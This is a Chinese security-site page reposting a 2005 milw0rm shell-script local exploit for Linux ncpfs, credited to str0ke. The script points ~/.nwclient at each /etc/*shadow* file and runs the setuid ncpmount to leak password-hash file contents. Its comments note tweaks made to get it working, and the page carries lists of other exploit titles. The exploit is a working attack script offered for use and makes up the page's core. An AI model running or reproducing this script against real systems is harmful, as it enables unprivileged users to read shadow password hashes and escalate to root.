首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux ncpfs Local Exploit
来源:www.milw0rm.com 作者:str0ke 发布时间:2005-02-02  

Linux ncpfs Local Exploit

#!/bin/sh

## Had to remove local -r to get it to work via sh on my box

## Root's encrypted password was in toupper form but the

## super stated it worked fine for him (Gentoo with ncpfs 2.2.5)

## If it worked for you send an email to info@milw0rm.com /str0ke


(echo 'head1 by super'

echo -e '==============\n'

(function head1(){

(local -r MNTDIR=~/mnt.$$

(mv ~/.nwclient ~/.nwclient.temp

ln -sf $1 ~/.nwclient

mkdir $MNTDIR)2>/dev/null

(echo $1

ncpmount $MNTDIR

echo)

(rmdir $MNTDIR

rm ~/.nwclient

mv .nwclient.temp .nwclient)2>/dev/null)}

(for i in /etc/*shadow*

do head1 $i

done)))#


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Xpand Rally <= 1.0.0.0 serv
·Newspost 'socket_getline()' Re
·HKLM CurrentVersion Locking
·ngIRCd 'Log_Resolver()' Remote
·Gpsd remote format string expl
·Setuid perl 'PerlIO_Debug()' A
·Golden FTP Server v2.02b Remot
·Setuid perl 'PerlIO_Debug()' L
·Siteman <= 1.1.10 Remote Ad
·Mac OS X 'Finder/DS_Store' Arb
·/usr/bin/trn Local Root Exploi
·3CServer v1.1 FTP Server Remot
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved